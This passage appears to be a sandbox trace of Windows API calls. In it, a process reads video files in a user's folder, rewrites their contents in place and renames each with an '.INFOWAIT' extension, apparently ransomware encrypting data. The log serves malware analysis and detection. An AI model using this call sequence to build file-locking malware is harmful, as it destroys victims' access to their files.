lpDistanceToMoveHigh=0x0) returned 0x0 [0121.509] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4ebd, lpOverlapped=0x0) returned 1 [0121.513] VirtualAlloc (lpAddress=0x0, dwSize=0x4ebd, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.515] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.515] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4ebd, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4ebd, lpOverlapped=0x0) returned 1 [0121.516] CloseHandle (hObject=0xad4) returned 1 [0121.518] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\xjB5_nJ6.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\xjB5_nJ6.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\xjB5_nJ6.flv" [0121.518] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\xjB5_nJ6.flv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\xjB5_nJ6.flv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\xjB5_nJ6.flv.INFOWAIT" [0121.518] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\xjB5_nJ6.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\xjb5_nj6.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\QVNDMBKO6iJXOO2h3\\xjB5_nJ6.flv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\qvndmbko6ijxoo2h3\\xjb5_nj6.flv.infowait")) returned 1 [0121.519] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.520] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.521] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\rRaXTMp.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\rraxtmp.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.521] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x149e0 [0121.521] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.521] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.521] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x149e0, lpOverlapped=0x0) returned 1 [0121.525] VirtualAlloc (lpAddress=0x0, dwSize=0x149e0, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.532] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.532] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x149e0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x149e0, lpOverlapped=0x0) returned 1 [0121.533] CloseHandle (hObject=0xad4) returned 1 [0121.534] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\rRaXTMp.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\rRaXTMp.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\rRaXTMp.mkv" [0121.534] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\rRaXTMp.mkv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\rRaXTMp.mkv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\rRaXTMp.mkv.INFOWAIT" [0121.534] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\rRaXTMp.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\rraxtmp.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\rRaXTMp.mkv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\rraxtmp.mkv.infowait")) returned 1 [0121.536] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.537] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.538] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.538] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\Vynkb.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\vynkb.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.538] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x88a [0121.538] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.538] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.538] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x88a, lpOverlapped=0x0) returned 1 [0121.542] VirtualAlloc (lpAddress=0x0, dwSize=0x88a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.543] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.543] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x88a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x88a, lpOverlapped=0x0) returned 1 [0121.543] CloseHandle (hObject=0xad4) returned 1 [0121.558] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\Vynkb.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\Vynkb.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\Vynkb.flv" [0121.558] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\Vynkb.flv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\Vynkb.flv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\Vynkb.flv.INFOWAIT" [0121.558] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\Vynkb.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\vynkb.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EXInUgGRa8IXEf\\Vynkb.flv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\exinuggra8ixef\\vynkb.flv.infowait")) returned 1 [0121.559] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.560] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.560] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fpsQYKF MOi0MA.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fpsqykf moi0ma.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.561] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x956 [0121.561] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.561] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.561] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x956, lpOverlapped=0x0) returned 1 [0121.565] VirtualAlloc (lpAddress=0x0, dwSize=0x956, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.565] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.565] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x956, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x956, lpOverlapped=0x0) returned 1 [0121.565] CloseHandle (hObject=0xad4) returned 1 [0121.570] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fpsQYKF MOi0MA.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fpsQYKF MOi0MA.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fpsQYKF MOi0MA.flv" [0121.570] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fpsQYKF MOi0MA.flv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fpsQYKF MOi0MA.flv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fpsQYKF MOi0MA.flv.INFOWAIT" [0121.570] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fpsQYKF MOi0MA.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fpsqykf moi0ma.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fpsQYKF MOi0MA.flv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fpsqykf moi0ma.flv.infowait")) returned 1 [0121.570] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.571] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.571] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.571] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hjEoNe.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hjeone.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.572] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9d52 [0121.572] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.572] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.573] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x9d52, lpOverlapped=0x0) returned 1 [0121.575] VirtualAlloc (lpAddress=0x0, dwSize=0x9d52, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.581] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.581] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x9d52, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x9d52, lpOverlapped=0x0) returned 1 [0121.581] CloseHandle (hObject=0xad4) returned 1 [0121.582] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hjEoNe.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hjEoNe.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hjEoNe.swf" [0121.582] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hjEoNe.swf", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hjEoNe.swf.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hjEoNe.swf.INFOWAIT" [0121.582] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hjEoNe.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hjeone.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hjEoNe.swf.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hjeone.swf.infowait")) returned 1 [0121.583] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.584] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.585] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.585] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\laJ7 XG6mvY9a4Oq.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\laj7 xg6mvy9a4oq.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.585] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb9a7 [0121.585] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.586] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.586] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xb9a7, lpOverlapped=0x0) returned 1 [0121.589] VirtualAlloc (lpAddress=0x0, dwSize=0xb9a7, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.593] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.593] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xb9a7, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xb9a7, lpOverlapped=0x0) returned 1 [0121.593] CloseHandle (hObject=0xad4) returned 1 [0121.603] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\laJ7 XG6mvY9a4Oq.mp4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\laJ7 XG6mvY9a4Oq.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\laJ7 XG6mvY9a4Oq.mp4" [0121.603] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\laJ7 XG6mvY9a4Oq.mp4", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\laJ7 XG6mvY9a4Oq.mp4.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\laJ7 XG6mvY9a4Oq.mp4.INFOWAIT" [0121.603] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\laJ7 XG6mvY9a4Oq.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\laj7 xg6mvy9a4oq.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\laJ7 XG6mvY9a4Oq.mp4.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\laj7 xg6mvy9a4oq.mp4.infowait")) returned 1 [0121.604] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.604] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.605] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.605] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LB1Vquw6 amP SWGL3zs.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lb1vquw6 amp swgl3zs.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.605] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa710 [0121.605] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.605] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.605] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xa710, lpOverlapped=0x0) returned 1 [0121.608] VirtualAlloc (lpAddress=0x0, dwSize=0xa710, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.613] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.613] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xa710, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xa710, lpOverlapped=0x0) returned 1 [0121.613] CloseHandle (hObject=0xad4) returned 1 [0121.615] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LB1Vquw6 amP SWGL3zs.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LB1Vquw6 amP SWGL3zs.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LB1Vquw6 amP SWGL3zs.flv" [0121.615] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LB1Vquw6 amP SWGL3zs.flv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LB1Vquw6 amP SWGL3zs.flv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LB1Vquw6 amP SWGL3zs.flv.INFOWAIT" [0121.615] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LB1Vquw6 amP SWGL3zs.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lb1vquw6 amp swgl3zs.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LB1Vquw6 amP SWGL3zs.flv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lb1vquw6 amp swgl3zs.flv.infowait")) returned 1 [0121.616] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.617] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.617] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.617] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mF_q7P7.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\mf_q7p7.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.617] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1285 [0121.617] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.618] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.618] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1285, lpOverlapped=0x0) returned 1 [0121.621] VirtualAlloc (lpAddress=0x0, dwSize=0x1285, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.622] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.622] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1285, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1285, lpOverlapped=0x0) returned 1 [0121.622] CloseHandle (hObject=0xad4) returned 1 [0121.622] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mF_q7P7.swf" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mF_q7P7.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mF_q7P7.swf" [0121.622] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mF_q7P7.swf", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mF_q7P7.swf.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mF_q7P7.swf.INFOWAIT" [0121.623] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mF_q7P7.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\mf_q7p7.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\mF_q7P7.swf.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\mf_q7p7.swf.infowait")) returned 1 [0121.623] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.624] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.624] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\OaJupVjMV.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\oajupvjmv.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.624] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe4e6 [0121.624] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.625] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.625] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xe4e6, lpOverlapped=0x0) returned 1 [0121.628] VirtualAlloc (lpAddress=0x0, dwSize=0xe4e6, flAllocationType=0x1000, 